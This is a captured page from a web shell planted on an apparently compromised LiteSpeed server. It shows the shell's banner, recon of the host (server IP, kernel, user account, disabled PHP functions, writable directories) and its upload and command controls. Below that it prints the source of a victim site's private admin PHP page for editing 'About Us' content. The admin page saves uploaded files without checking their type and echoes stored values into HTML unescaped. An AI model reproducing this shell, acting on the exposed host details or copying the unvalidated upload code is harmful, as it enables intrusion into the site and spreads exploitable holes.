403Webshell
Server IP : 92.204.40.98  /  Your IP : 216.73.216.201
Web Server : LiteSpeed
System : Linux amster.dnsfors.com 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : tmksyste ( 2190)
PHP Version : 8.3.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tmksyste/domains/tmksystems.in/private_html/TMAdmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tmksyste/domains/tmksystems.in/private_html/TMAdmin/about_edit2.php
<?php include"header.php";?>
<?php include"sidebar.php";?>

<!-- ============================================================== -->
<!-- Start right Content here -->
<!-- ============================================================== -->
<div class="main-content">
 <div class="page-content">
       <div class="container-fluid">

                    <!-- start page title -->
                    <div class="row">
                        <div class="col-12">
                            <div class="page-title-box d-sm-flex align-items-center justify-content-between">
                                <h4 class="mb-sm-0">Update About Us</h4>

                                <div class="page-title-right">
                                    <ol class="breadcrumb m-0">
                                        <li class="breadcrumb-item"><a href="javascript: void(0);">About</a></li>
                                        <li class="breadcrumb-item active">Update</li>
                                    </ol>
                                </div>

                            </div>
                        </div>
                    </div>
                    <!-- end page title -->


                    <div class="row">

                        <!--end col-->
                        <div class="col-lg-12">
							<div class="card">
                                <div class="card-header">
                                    <ul class="nav nav-tabs-custom rounded card-header-tabs border-bottom-0" role="tablist">
                                        <li class="nav-item">
                                            <a class="nav-link active" data-bs-toggle="tab" href="#personalDetails" role="tab" aria-selected="false">
                                                <i class="fas fa-home"></i> Update About Us
                                            </a>
                                        </li>


                                    </ul>
                                </div>

            <?php
           $status = "OK"; //initial status
           $msg="";
           if(ISSET($_POST['save'])){
			   
		$about_title = mysqli_real_escape_string($con,$_POST['about_title']);
		$about_text = mysqli_real_escape_string($con,$_POST['about_text']);
		$about_detail = mysqli_real_escape_string($con,$_POST['about_detail']);
		$ufile3 = mysqli_real_escape_string($con,$_POST['ufile3']);
				
				$f1 = mysqli_real_escape_string($con,$_POST['f1']);
				$d1 = mysqli_real_escape_string($con,$_POST['d1']);
				
				$f2 = mysqli_real_escape_string($con,$_POST['f2']);
				$d2 = mysqli_real_escape_string($con,$_POST['d2']);
				
				$f3 = mysqli_real_escape_string($con,$_POST['f3']);
				$d3 = mysqli_real_escape_string($con,$_POST['d3']);
				
				$f4 = mysqli_real_escape_string($con,$_POST['f4']);
					$d4 = mysqli_real_escape_string($con,$_POST['d4']);
				

$uploads_dir = 'uploads/about';
$about_img=mysqli_query($con,"SELECT `ufile` FROM `about` WHERE `id`='2'");
$about_img_res= mysqli_fetch_row($about_img);
$about_image = $about_img_res[0];
$uploads_dir = 'uploads/about';

 if(!empty($_FILES["ufile"]["tmp_name"]))
 {

        $tmp_name = $_FILES["ufile"]["tmp_name"];
        $name = basename($_FILES["ufile"]["name"]);
        $random_digit=rand(0000,9999);
        $new_file_name=$random_digit.$name;

        move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");
		unlink('uploads/about/'.$about_image);
 }
 else
	 $new_file_name=$about_image;
	 
$about_img2=mysqli_query($con,"SELECT `ufile2` FROM `about` WHERE `id`='2'");
$about_img_res2= mysqli_fetch_row($about_img2);
$about_image2 = $about_img_res2[0];
$uploads_dir2 = 'uploads/about';	 
	 
 if(!empty($_FILES["ufile2"]["tmp_name"]))
 {
        $tmp_name2 = $_FILES["ufile2"]["tmp_name"];
        // basename() may prevent filesystem traversal attacks;
        // further validation/sanitation of the filename may be appropriate
        $name2 = basename($_FILES["ufile2"]["name"]);
        $random_digit2=rand(0000,9999);
        $new_file_name2=$random_digit2.$name2;

        move_uploaded_file($tmp_name2,"$uploads_dir/$new_file_name2");
		unlink('uploads/about/'.$about_image2);
 }
 else
	 $new_file_name2=$about_image2;
	 

if($status=="OK")
{

  $qb=mysqli_query($con,"UPDATE `about` SET `about_title`='$about_title',`about_text`='$about_text',`about_detail`='$about_detail',`ufile`='$new_file_name' ,`ufile2`='$new_file_name2',`ufile3`='$ufile3' ,`f1`='$f1',`d1`='$d1',`f2`='$f2',`d2`='$d2',`f3`='$f3',`d3`='$d3',`f4`='$f4' ,`d4`='$d4' WHERE `id`=2");

		if($qb){
		    	$errormsg= "
<div class='alert alert-success alert-dismissible alert-outline fade show'>
                 Data updated successfully.
                  <button type='button' class='btn-close' data-bs-dismiss='alert' aria-label='Close'></button>
                  </div>
 "; //printing error if found in validation

		}
	}

        elseif ($status!=="OK") {
            $errormsg= "
<div class='alert alert-danger alert-dismissible alert-outline fade show'>
                     ".$msg." <button type='button' class='btn-close' data-bs-dismiss='alert' aria-label='Close'></button> </div>"; //printing error if found in validation

    }
    else{
			$errormsg= "
      <div class='alert alert-danger alert-dismissible alert-outline fade show'>
                 Some Technical Glitch Is There. Please Try Again Later Or Ask Admin For Help.
                 <button type='button' class='btn-close' data-bs-dismiss='alert' aria-label='Close'></button>
                 </div>"; //printing error if found in validation
		}
           }
           ?>

                                <div class="card-body p-4">
                                    <div class="tab-content">
            <div class="tab-pane active" id="personalDetails" role="tabpanel">

<?php
 $query="SELECT * FROM  about where id=2";
 $result = mysqli_query($con,$query);
$i=0;
while($row = mysqli_fetch_array($result))
{
	$about_title="$row[about_title]";
	$about_text="$row[about_text]";
	$about_detail="$row[about_detail]";
	$ufile="$row[ufile]";
	$ufile2="$row[ufile2]";
	$ufile3="$row[ufile3]";
	$f1="$row[f1]";
	$d1="$row[d1]";
	$f2="$row[f2]";
	$d2="$row[d2]";
	$f3="$row[f3]";
	$d3="$row[d3]";
	$f4="$row[f4]";
}
  ?>


<?php
if($_SERVER['REQUEST_METHOD'] == 'POST')
{ print $errormsg;}  ?>
              <form action="" method="post" enctype="multipart/form-data">
                    <div class="row">


                    <div class="col-lg-6">
                <span>Current Photo 1: </span> <img src="uploads/about/<?php print $ufile; ?>" alt="img" style="max-height:120px;">
                    <div class="mb-3">
                    <label for="firstnameInput" class="form-label">Photo</label>
                    <input type="file" class="form-control" name="ufile" >
                    </div>
                </div>
                                                    
					<div class="col-lg-6">
					<div class="mb-3">
					<label for="firstnameInput" class="form-label"> About Sub Title</label>
					<input type="text" class="form-control" name="about_title" value="<?php print $about_title ?>" placeholder="Enter Service Title">
                    </div>
				</div>
				
				<div class="col-lg-6">
					<div class="mb-3">
				<label for="firstnameInput" class="form-label">  About  Title 1</label>
				<input type="text" class="form-control" name="about_text" placeholder="Enter About Title" value="<?php print $about_text ?>">
                    </div>
				</div>
					
				<div class="col-lg-6">
					<div class="mb-3">
				<label for="firstnameInput" class="form-label"> About Detail 1</label>
				<textarea class="form-control" name="about_detail" rows="5" id="editor1"><?php print $about_detail ?></textarea>
				</div>
				</div>
													
				<div class="col-lg-6">
                 <div class="mb-3">
                <label for="firstnameInput" class="form-label">About Title 2</label>
                <input type="text" class="form-control" name="ufile3" value="<?php print $ufile3 ?>">
                </div>
                    </div>
													
				 <div class="col-lg-6">
                    <div class="mb-3">
                <label for="firstnameInput" class="form-label">About Details 2</label>
                <textarea class="form-control"  name="f1" rows="8" ><?php print $f1 ?></textarea>
                </div>
                </div>
													
				
                <!--end col-->
                <div class="col-lg-12">
                    <div class="hstack gap-2 justify-content-end">
                <button type="submit" name="save" class="btn btn-primary">Update About Us</button>
                </div>
                </div>
                <!--end col-->
                                                </div>
                                                <!--end row-->
                                            </form>
                                        </div>
                                        <!--end tab-pane-->

                                    </div>
                                </div>
                            </div>
                        </div>
                        <!--end col-->
                    </div>

                </div>
                <!-- container-fluid -->
            </div>
            <!-- End Page-content -->

            <?php include"footer.php";?>

Youez - 2016 - github.com/yon3zu
LinuXploit